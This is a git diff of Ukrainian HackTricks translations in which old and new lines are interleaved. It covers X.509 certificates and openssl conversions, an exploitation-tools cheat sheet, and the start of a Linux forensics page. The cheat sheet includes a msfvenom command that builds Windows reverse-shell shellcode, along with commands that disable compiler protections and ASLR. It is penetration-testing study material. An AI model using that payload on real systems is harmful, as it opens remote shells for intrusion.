* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
Отримайте доступ сьогодні:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Що таке сертифікат
## What is a Certificate
**Сертифікат публічного ключа** - це цифровий ідентифікатор, який використовується в криптографії для підтвердження того, що хтось володіє публічним ключем. Він містить деталі ключа, ідентичність власника (суб'єкт) та цифровий підпис від довіреної авторитетності (видавця). Якщо програмне забезпечення довіряє видавцю та підпис є дійсним, можлива безпечна комунікація з власником ключа.
**Публічний ключовий сертифікат** — це цифровий ID, який використовується в криптографії для підтвердження того, що хтось володіє публічним ключем. Він містить деталі ключа, ідентичність власника (суб'єкт) та цифровий підпис від довіреного органу (видавця). Якщо програмне забезпечення довіряє видавцю, а підпис дійсний, можлива безпечна комунікація з власником ключа.
Сертифікати в основному видавати [сертифікатними органами](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) в налаштуванні [інфраструктури з відкритим ключем](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Іншим методом є [мережа довіри](https://en.wikipedia.org/wiki/Web\_of\_trust), де користувачі безпосередньо перевіряють ключі один одного. Загальним форматом для сертифікатів є [X.509](https://en.wikipedia.org/wiki/X.509), який може бути адаптований для конкретних потреб, як описано в RFC 5280.
Сертифікати в основному видаються [сертифікаційними центрами](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) в налаштуванні [інфраструктури відкритих ключів](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Інший метод — це [мережа довіри](https://en.wikipedia.org/wiki/Web\_of\_trust), де користувачі безпосередньо перевіряють ключі один одного. Загальний формат для сертифікатів — [X.509](https://en.wikipedia.org/wiki/X.509), який може бути адаптований для специфічних потреб, як зазначено в RFC 5280.
## Загальні поля x509
## x509 Common Fields
### **Загальні поля в сертифікатах x509**
У сертифікатах x509 кілька **полів** відіграють важливу роль у забезпеченні валідності та безпеки сертифіката. Ось розбір цих полів:
У сертифікатах x509 кілька **полів** відіграють критичну роль у забезпеченні дійсності та безпеки сертифіката. Ось розподіл цих полів:
* **Номер версії** вказує версію формату x509.
* **Серійний номер** унікально ідентифікує сертифікат у системі Сертифікаційного органу (CA), головним чином для відстеження відкликання.
* Поле **Суб'єкт** представляє власника сертифіката, яким може бути машина, фізична особа або організація. Воно включає детальну ідентифікацію, таку як:
* **Загальне ім'я (CN)**: Домени, які охоплюються сертифікатом.
* **Країна (C)**, **Місцевість (L)**, **Штат або провінція (ST, S, або P)**, **Організація (O)** та **Організаційна одиниця (OU)** надають географічні та організаційні відомості.
* **Виділений ім'я (DN)** укладає повну ідентифікацію суб'єкта.
* **Видавець** вказує, хто перевірив та підписав сертифікат, включаючи схожі підполя, як у Суб'єкта для CA.
* **Період валідності** позначений мітками **Не раніше** та **Не пізніше**, що гарантує, що сертифікат не використовується до або після певної дати.
* Розділ **Публічний ключ**, важливий для безпеки сертифіката, вказує алгоритм, розмір та інші технічні деталі публічного ключа.
* **Розширення x509v3** покращують функціональність сертифіката, вказуючи **Використання ключа**, **Розширене використання ключа**, **Альтернативне ім'я суб'єкта** та інші властивості для налаштування застосування сертифіката.
* **Номер версії** позначає версію формату x509.
* **Серійний номер** унікально ідентифікує сертифікат у системі сертифікаційного центру (CA), головним чином для відстеження анулювання.
* Поле **Суб'єкт** представляє власника сертифіката, яким може бути машина, особа або організація. Воно містить детальну ідентифікацію, таку як:
* **Загальна назва (CN)**: домени, охоплені сертифікатом.
* **Країна (C)**, **Місцевість (L)**, **Штат або провінція (ST, S або P)**, **Організація (O)** та **Організаційна одиниця (OU)** надають географічні та організаційні деталі.
* **Виділене ім'я (DN)** охоплює повну ідентифікацію суб'єкта.
* **Видавець** вказує, хто перевірив і підписав сертифікат, включаючи подібні підполя, як у Суб'єкта для CA.
* **Період дійсності** позначається часовими мітками **Не раніше** та **Не пізніше**, що забезпечує, щоб сертифікат не використовувався до або після певної дати.
* Розділ **Публічний ключ**, критично важливий для безпеки сертифіката, вказує алгоритм, розмір та інші технічні деталі публічного ключа.
* **Розширення x509v3** покращують функціональність сертифіката, вказуючи **Використання ключа**, **Розширене використання ключа**, **Альтернативне ім'я суб'єкта** та інші властивості для точного налаштування застосування сертифіката.
#### **Використання ключа та розширення**
* **Використання ключа** ідентифікує криптографічні застосування публічного ключа, такі як цифровий підпис або шифрування ключа.
* **Розширене використання ключа** додатково уточнює випадки використання сертифіката, наприклад, для аутентифікації сервера TLS.
* **Альтернативне ім'я суб'єкта** та **Основний обмеження** визначають додаткові імена хостів, які охоплюються сертифікатом, та чи це сертифікат CA чи кінцевого суб'єкта, відповідно.
* Ідентифікатори, такі як **Ідентифікатор ключа суб'єкта** та **Ідентифікатор ключа авторитету**, забезпечують унікальність та відстежуваність ключів.
* **Доступ до інформації про авторитет** та **Точки розподілу списків відкликання** надають шляхи для перевірки видавця CA та перевірки статусу відкликання сертифіката.
* **CT Precertificate SCTs** пропонують журнали прозорості, важливі для громадської довіри до сертифіката.
* **Розширене використання ключа** ще більше звужує випадки використання сертифіката, наприклад, для аутентифікації сервера TLS.
* **Альтернативне ім'я суб'єкта** та **Основне обмеження** визначають додаткові імена хостів, охоплені сертифікатом, та чи є це сертифікатом CA або кінцевого суб'єкта відповідно.
* Ідентифікатори, такі як **Ідентифікатор ключа суб'єкта** та **Ідентифікатор ключа органу**, забезпечують унікальність та відстежуваність ключів.
* **Доступ до інформації про орган** та **Точки розподілу CRL** надають шляхи для перевірки видавця CA та перевірки статусу анулювання сертифіката.
* **SCT сертифікатів CT** пропонують журнали прозорості, критично важливі для публічної довіри до сертифіката.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -74,99 +75,101 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Різниця між точками розподілу OCSP та CRL**
### **Різниця між OCSP та CRL Distribution Points**
**OCSP** (**RFC 2560**) передбачає співпрацю клієнта та відповідача для перевірки скасування цифрового сертифіката з відкритим ключем без необхідності завантажувати повний **CRL**. Цей метод ефективніший, ніж традиційний **CRL**, який надає список скасованих серійних номерів сертифікатів, але вимагає завантаження потенційно великого файлу. CRL може містити до 512 записів. Додаткові відомості доступні [тут](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
**OCSP** (**RFC 2560**) передбачає співпрацю клієнта та респондента для перевірки, чи був відкликаний цифровий сертифікат з публічним ключем, без необхідності завантажувати повний **CRL**. Цей метод є більш ефективним, ніж традиційний **CRL**, який надає список серійних номерів відкликаних сертифікатів, але вимагає завантаження потенційно великого файлу. CRL можуть містити до 512 записів. Більше деталей доступно [тут](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Що таке Transparent Certificate Transparency**
### **Що таке Прозорість Сертифікатів**
Transparent Certificate Transparency допомагає боротися з загрозами, пов'язаними з сертифікатами, забезпечуючи видимість видачі та існування SSL-сертифікатів власникам доменів, CAs та користувачам. Його цілі:
Прозорість сертифікатів допомагає боротися з загрозами, пов'язаними з сертифікатами, забезпечуючи видимість видачі та існування SSL сертифікатів для власників доменів, ЦС та користувачів. Її цілі:
* Запобігання CAs видавати SSL-сертифікати для домену без відома власника домену.
* Створення відкритої системи аудиту для відстеження помилково виданих або зловживаних сертифікатів.
* Запобігання видачі ЦС SSL сертифікатів для домену без відома власника домену.
* Встановлення відкритої системи аудиту для відстеження помилково або зловмисно виданих сертифікатів.
* Захист користувачів від шахрайських сертифікатів.
#### **Логи сертифікатів**
#### **Журнали Сертифікатів**
Логи сертифікатів є публічно перевіряемими, додаванням записів про сертифікати, які підтримуються мережевими службами. Ці логи надають криптографічні докази для аудиту. Як видачі організації, так і громадськість можуть надсилати сертифікати в ці логи або запитувати їх для перевірки. Хоча точна кількість серверів логу не фіксується, очікується, що їх буде менше тисячі глобально. Ці сервери можуть бути незалежно керовані CAs, постачальниками послуг Інтернету або будь-якою зацікавленою стороною.
Журнали сертифікатів є публічно доступними, підлягають аудиту, записами сертифікатів, які ведуться мережевими службами. Ці журнали надають криптографічні докази для цілей аудиту. Як органи видачі, так і громадськість можуть подавати сертифікати до цих журналів або запитувати їх для перевірки. Хоча точна кількість серверів журналів не є фіксованою, очікується, що їх буде менше тисячі в усьому світі. Ці сервери можуть незалежно управлятися ЦС, ISP або будь-якою зацікавленою стороною.
#### **Запит**
Щоб дослідити логи Transparent Certificate Transparency для будь-якого домену, відвідайте [https://crt.sh/](https://crt.sh).
Щоб дослідити журнали Прозорості Сертифікатів для будь-якого домену, відвідайте [https://crt.sh/](https://crt.sh).
Існують різні формати для зберігання сертифікатів, кожен з яких має свої випадки використання та сумісність. Це резюме охоплює основні формати та надає рекомендації щодо конвертації між ними.
## **Формати**
### **Формат PEM**
### **PEM Формат**
* Найбільш поширений формат для сертифікатів.
* Вимагає окремих файлів для сертифікатів та приватних ключів, закодованих у Base64 ASCII.
* Загальні розширення: .cer, .crt, .pem, .key.
* В основному використовується Apache та подібними серверами.
* Переважно використовується Apache та подібними серверами.
### **Формат DER**
### **DER Формат**
* Бінарний формат сертифікатів.
* Відсутні "ПОЧАТОК/КІНЕЦЬ СЕРТИФІКАТА" у заявках PEM.
* Не має заяв "BEGIN/END CERTIFICATE", які є у файлах PEM.
* Загальні розширення: .cer, .der.
* Часто використовується з платформами Java.
### **Формат P7B/PKCS#7**
### **P7B/PKCS#7 Формат**
* Зберігається у Base64 ASCII, з розширеннями .p7b або .p7c.
* Містить лише сертифікати та ланцюжкові сертифікати, за винятком приватного ключа.
* Містить лише сертифікати та ланцюгові сертифікати, виключаючи приватний ключ.
* Підтримується Microsoft Windows та Java Tomcat.
### **Формат PFX/P12/PKCS#12**
### **PFX/P12/PKCS#12 Формат**
* Бінарний формат, який упаковує серверні сертифікати, проміжні сертифікати та приватні ключі в один файл.
* Бінарний формат, який інкапсулює серверні сертифікати, проміжні сертифікати та приватні ключі в одному файлі.
* Розширення: .pfx, .p12.
* Головним чином використовується в Windows для імпорту та експорту сертифікатів.
* Переважно використовується на Windows для імпорту та експорту сертифікатів.
### **Конвертація форматів**
### **Конвертація Форматів**
**Конвертації PEM** є важливими для сумісності:
**Конверсії PEM** є важливими для сумісності:
* **x509 до PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **PEM у DER**
* **PEM до DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
* **DER у PEM**
* **DER до PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
* **PEM у P7B**
* **PEM до P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
* **PKCS7 у PEM**
* **PKCS7 до PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**Конвертація PFX** є важливою для керування сертифікатами в Windows:
**PFX конверсії** є критично важливими для управління сертифікатами на Windows:
* **PFX в PEM**
* **PFX до PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
* **PFX до PKCS#8** включає два кроки:
1. Конвертувати PFX у PEM
* **PFX до PKCS#8** включає два етапи:
1. Конвертувати PFX в PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Конвертувати PEM у PKCS8
2. Перетворення PEM в PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
* **P7B в PFX** також потребує дві команди:
* **P7B до PFX** також вимагає двох команд:
1. Конвертувати P7B в CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Конвертувати CER та приватний ключ в PFX
2. Перетворення CER та приватного ключа в PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
@ -175,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють за допомогою найбільш **продвинутих** інструментів у спільноті.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

File diff suppressed because it is too large Load diff

View file

@ -1,18 +1,19 @@
# Інструменти використання
# Інструменти експлуатації
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## Metasploit
```
@ -22,7 +23,7 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Шеллкоди
### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Хитрощі
### Tricks
#### Ті самі адреси в GDB
#### GDB ті ж адреси
Під час налагодження GDB матиме **трохи відмінні адреси від тих, що використовуються бінарним файлом при виконанні.** Ви можете зробити так, щоб у GDB були ті самі адреси, виконавши наступне:
Під час налагодження GDB буде мати **трохи інші адреси, ніж ті, що використовуються бінарним файлом під час виконання.** Ви можете зробити так, щоб GDB мав ті ж адреси, виконавши:
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<шлях>` _Вкажіть абсолютний шлях до бінарного файлу_
* Використовуйте бінарний файл, використовуючи той самий абсолютний шлях
* `PWD` та `OLDPWD` повинні бути однаковими під час використання GDB та під час використання бінарного файлу
* `set env _=<path>` _Вкажіть абсолютний шлях до бінарного файлу_
* Використовуйте бінарний файл, використовуючи той же абсолютний шлях
* `PWD` та `OLDPWD` повинні бути однаковими під час використання GDB та під час експлуатації бінарного файлу
#### Backtrace для знаходження викликаних функцій
Коли у вас є **статично зв'язаний бінарний файл**, всі функції будуть належати бінарному файлу (а не зовнішнім бібліотекам). У цьому випадку буде важко **визначити послідовність, яку слідує бінарний файл, щоб, наприклад, запросити введення від користувача**.\
Ви можете легко визначити цю послідовність, **запустивши** бінарний файл з **gdb** до тих пір, поки вас не попросять ввести дані. Потім зупиніть його за допомогою **CTRL+C** та використайте команду **`bt`** (**backtrace**) для перегляду викликаних функцій:
Коли у вас є **статично зв'язаний бінарний файл**, всі функції будуть належати бінарному файлу (а не зовнішнім бібліотекам). У цьому випадку буде важко **визначити потік, який слідує бінарний файл, щоб, наприклад, запитати введення користувача.**\
Ви можете легко визначити цей потік, **запустивши** бінарний файл з **gdb** до того, як вас попросять ввести дані. Потім зупиніть його за допомогою **CTRL+C** і використовуйте команду **`bt`** (**backtrace**), щоб побачити викликані функції:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -150,56 +151,56 @@ gef➤ bt
```
### GDB сервер
`gdbserver --multi 0.0.0.0:23947` (в IDA вам потрібно вказати абсолютний шлях до виконуваного файлу на машині з Linux та на машині з Windows)
`gdbserver --multi 0.0.0.0:23947` (в IDA потрібно вказати абсолютний шлях до виконуваного файлу на Linux машині та на Windows машині)
## Ghidra
### Знайти зсув стеку
**Ghidra** дуже корисний для знаходження **зсуву** для **переповнення буфера завдяки інформації про позицію локальних змінних.**\
Наприклад, у прикладі нижче, переповнення буфера в `local_bc` вказує на те, що вам потрібен зсув `0xbc`. Більше того, якщо `local_10` - це куки-захисник, це вказує на те, що для перезапису його з `local_bc` є зсув `0xac`.\
ам'ятайте, що перші 0x08, звідки зберігається RIP, належать RBP._
**Ghidra** дуже корисна для знаходження **зсуву** для **переповнення буфера завдяки інформації про позицію локальних змінних.**\
Наприклад, у наведеному нижче прикладі переповнення буфера в `local_bc` вказує на те, що потрібен зсув `0xbc`. Більше того, якщо `local_10` є канарейковим печивом, це вказує на те, що для перезапису з `local_bc` потрібен зсув `0xac`.\
ам'ятайте, що перші 0x08, з яких зберігається RIP, належать до RBP._
![](<../../.gitbook/assets/image (616).png>)
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Компілювати без захисту\
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Компілювати без захистів\
**-o** --> Вихід\
**-g** --> Зберегти код (GDB зможе його побачити)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Для вимкнення ASLR в Linux
**-g** --> Зберегти код (GDB зможе його бачити)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Деактивувати ASLR в linux
**Для компіляції shellcode:**\
**Щоб скомпілювати shellcode:**\
**nasm -f elf assembly.asm** --> повертає ".o"\
**ld assembly.o -o shellcodeout** --> Виконавчий файл
**ld assembly.o -o shellcodeout** --> Виконуваний файл
## Objdump
**-d** --> Розібрати виконавчі розділи (подивитися опкоди скомпільованого shellcode, знайти ROP Gadgets, знайти адресу функції...)\
**-Mintel** --> Синтаксис **Intel**\
**-t** --> Таблиця **символів**\
**-D** --> Розібрати все (адреса статичної змінної)\
**-s -j .dtors** --> розділ dtors\
**-s -j .got** --> розділ got\
\-D -s -j .plt --> розділ plt **декомпільований**\
**-TR** --> **Переміщення**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Адреса "puts" для зміни в GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Адреса або статичної змінної (вони зберігаються в розділі DATA).
**-d** --> **Дизасемблювати виконувані** секції (переглянути опкодів скомпільованого shellcode, знайти ROP Gadgets, знайти адресу функції...)\
**-Mintel** --> **Intel** синтаксис\
**-t** --> **Таблиця символів**\
**-D** --> **Дизасемблювати все** (адреса статичної змінної)\
**-s -j .dtors** --> секція dtors\
**-s -j .got** --> секція got\
\-D -s -j .plt --> **plt** секція **дизасембльована**\
**-TR** --> **Релокації**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Адреса "puts" для модифікації в GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Адреса або статичної змінної (вони зберігаються в секції DATA).
## Core dumps
## Ядра дампи
1. Виконайте `ulimit -c unlimited` перед запуском мого програми
2. Виконайте `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. `sudo gdb --core=\<path/core> --quiet`
1. Запустіть `ulimit -c unlimited` перед запуском моєї програми
2. Запустіть `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet
## More
## Більше
**ldd executable | grep libc.so.6** --> Адреса (якщо ASLR, то вона змінюється кожен раз)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Цикл для перевірки, чи часто змінюється адреса\
**ldd executable | grep libc.so.6** --> Адреса (якщо ASLR, то це змінюється щоразу)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Цикл, щоб перевірити, чи адреса змінюється багато\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Зсув "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Зсув "/bin/sh"
**strace executable** --> Функції, які викликаються виконавчим файлом\
**strace executable** --> Функції, викликані виконуваним файлом\
**rabin2 -i ejecutable -->** Адреса всіх функцій
## **Inmunity debugger**
@ -209,26 +210,27 @@ _Пам'ятайте, що перші 0x08, звідки зберігаєтьс
```
## IDA
### Відлагодження віддалено в Linux
### Налагодження в віддаленому linux
У папці IDA ви можете знайти виконувані файли, які можна використовувати для відлагодження бінарного файлу в Linux. Для цього перемістіть виконуваний файл _linux\_server_ або _linux\_server64_ на Linux-сервер та запустіть його всередині папки, що містить бінарний файл:
Всередині папки IDA ви можете знайти двійкові файли, які можна використовувати для налагодження двійкового файлу в linux. Для цього перемістіть двійковий файл _linux\_server_ або _linux\_server64_ на сервер linux і запустіть його в папці, що містить двійковий файл:
```
./linux_server64 -Ppass
```
Потім налаштуйте відлагоджувач: Відлагоджувач (віддалений linux) --> Опції процесу...:
Тоді налаштуйте налагоджувач: Debugger (linux remote) --> Proccess options...:
![](<../../.gitbook/assets/image (101).png>)
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Лінукс Форензіка
# Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів**, які працюють на найбільш **продвинутих** інструментах спільноти.\
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси**, що базуються на **найсучасніших** інструментах спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
